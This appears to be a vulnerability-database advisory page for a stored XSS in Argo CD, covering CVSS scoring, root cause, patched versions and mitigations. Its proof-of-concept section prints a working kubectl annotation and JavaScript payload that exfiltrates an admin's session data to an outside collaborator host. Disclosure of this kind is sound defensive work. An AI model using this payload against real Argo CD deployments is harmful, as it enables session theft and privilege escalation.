Skip to main content

Argo CD CVE-2026-45738

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-19 https://github.com/argoproj/argo-cd GHSA-h98r-wv3h-fr38
7.3
CVSS 3.1 · Vendor: https://github.com/argoproj/argo-cd
Share

Severity by source

Vendor (https://github.com/argoproj/argo-cd) PRIMARY
7.3 HIGH
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/argoproj/argo-cd) · only source for this CVE.

CVSS VectorVendor: https://github.com/argoproj/argo-cd

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 19, 2026 - 16:30 vuln.today
Analysis Generated
May 19, 2026 - 16:30 vuln.today

DescriptionCVE.org

Summary

A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

tsx
const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
    {parts[0]}
</a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only - no script-src, no connect-src, no default-src - providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).

Step 1 - Set malicious annotation as developer:

bash
kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo" - the javascript: payload is invisible in the displayed text.

Step 2 - Admin opens Summary tab of the annotated application and clicks the link.

Step 3 - JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

javascript
// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
  .then(r => r.json())
  .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4 - Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

json
{"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Impact

  • Stored XSS - payload persists in the Kubernetes Application resource until manually removed
  • Privilege escalation - developer role → admin session hijacking via authenticated API calls
  • Maximum stealth - the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim
  • No server-side interaction required - purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP)
  • Any admin or operator who views the Summary tab of the compromised application is affected

Credits

Discovered and reported by Jan Kahmen ([jan@turingpoint.de](mailto:jan@turingpoint.de)) - turingpoint.de

AnalysisAI

Stored XSS in Argo CD allows developer-role users to inject javascript: URIs via link.argocd.argoproj.io/* annotations, which render unvalidated in the Application Summary tab's URLs section. When an admin clicks the disguised link, arbitrary JavaScript executes in the ArgoCD same-origin context with the victim's session, enabling API exfiltration and developer-to-admin privilege escalation. No public exploit identified at time of analysis beyond the detailed vendor PoC, and the issue is not currently listed in CISA KEV.

Technical ContextAI

Argo CD is a declarative GitOps continuous delivery controller for Kubernetes (CPE pkg:go/github.com_argoproj_argo-cd v2 and v3 lines). The flaw is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) in the React-based UI at ui/src/app/applications/components/application-summary/application-summary.tsx:277, where annotation values are split on '|' and the second segment is placed directly into an <a href> attribute. The codebase already contains an isValidURL() helper in shared/utils.ts that blocks javascript: schemes (used correctly by application-urls.tsx), but that guard is not invoked at this sink. React 16.x - which Argo CD still ships - does not block javascript: URIs in href attributes (a protection added only in React 19), and the default ArgoCD Content Security Policy only sets frame-ancestors 'self', providing no script-src or connect-src controls to constrain execution or exfiltration.

RemediationAI

Vendor-released patches are available: upgrade Argo CD to 3.2.12 for the 3.2.x line, 3.3.10 for the 3.3.x line, or 3.4.2 for the 3.4.x line per https://github.com/argoproj/argo-cd/security/advisories/GHSA-h98r-wv3h-fr38. The v2 branch (≤ 2.14.21) currently has no patched release identified, so v2 users should plan migration to a supported v3 fixed release. Until upgrading, tighten RBAC to remove application write (specifically annotation-write) permissions from non-trusted roles - for example, replace broad 'applications, *, */*, allow' grants with narrower verbs that exclude 'update' on application metadata, accepting that this will block legitimate developer workflows that rely on annotation edits. Operators can also add a hardened Content Security Policy (script-src 'self'; connect-src 'self') via the argocd-cm server.content.security.policy setting to limit script execution and exfiltration, at the cost of breaking any UI extensions that rely on inline scripts or external endpoints, and admins should avoid clicking annotation-driven links on the Summary tab of applications owned by untrusted developers until patched.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

CVE-2024-42480 CRITICAL POC
9.9 Aug 12

Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem

CVE-2023-28110 CRITICAL POC
9.9 Mar 16

Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref

CVE-2026-25996 CRITICAL POC
9.8 Feb 12

String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter

Share

CVE-2026-45738 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy